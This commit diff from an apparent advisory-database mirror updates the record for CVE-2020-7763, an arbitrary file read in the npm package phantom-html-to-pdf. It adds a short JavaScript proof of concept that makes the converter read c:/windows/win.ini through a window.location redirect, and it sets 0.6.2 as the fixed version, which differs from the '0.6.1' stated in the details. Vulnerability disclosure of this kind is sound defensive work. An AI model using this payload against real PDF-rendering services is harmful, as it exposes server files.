mirror of
https://github.com/netbirdio/advisory-database.git
synced 2026-05-22 18:04:22 -07:00
Publish GHSA-6h7f-qwqm-35pp
This commit is contained in:
@@ -1,13 +1,13 @@
|
||||
{
|
||||
"schema_version": "1.4.0",
|
||||
"id": "GHSA-6h7f-qwqm-35pp",
|
||||
"modified": "2021-07-29T20:38:31Z",
|
||||
"modified": "2023-09-07T22:36:42Z",
|
||||
"published": "2020-11-06T18:06:16Z",
|
||||
"aliases": [
|
||||
"CVE-2020-7763"
|
||||
],
|
||||
"summary": "Arbitrary File Read in phantom-html-to-pdf",
|
||||
"details": "This affects the package phantom-html-to-pdf before 0.6.1.",
|
||||
"details": "This affects the package phantom-html-to-pdf before 0.6.1.\n\n### PoC\n```js\nvar fs = require('fs') var conversion = require(\"phantom-html-to-pdf\")();\nconversion.allowLocalFilesAccess = false conversion({\n html: \"document.write(window.location='c:/windows/win.ini')\"\n}, function(err, pdf) {\n var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);\n console.log(pdf.numberOfPages);\n pdf.stream.pipe(output);\n});\n```",
|
||||
"severity": [
|
||||
{
|
||||
"type": "CVSS_V3",
|
||||
@@ -20,12 +20,20 @@
|
||||
"ecosystem": "npm",
|
||||
"name": "phantom-html-to-pdf"
|
||||
},
|
||||
"ecosystem_specific": {
|
||||
"affected_functions": [
|
||||
""
|
||||
]
|
||||
},
|
||||
"ranges": [
|
||||
{
|
||||
"type": "ECOSYSTEM",
|
||||
"events": [
|
||||
{
|
||||
"introduced": "0"
|
||||
},
|
||||
{
|
||||
"fixed": "0.6.2"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user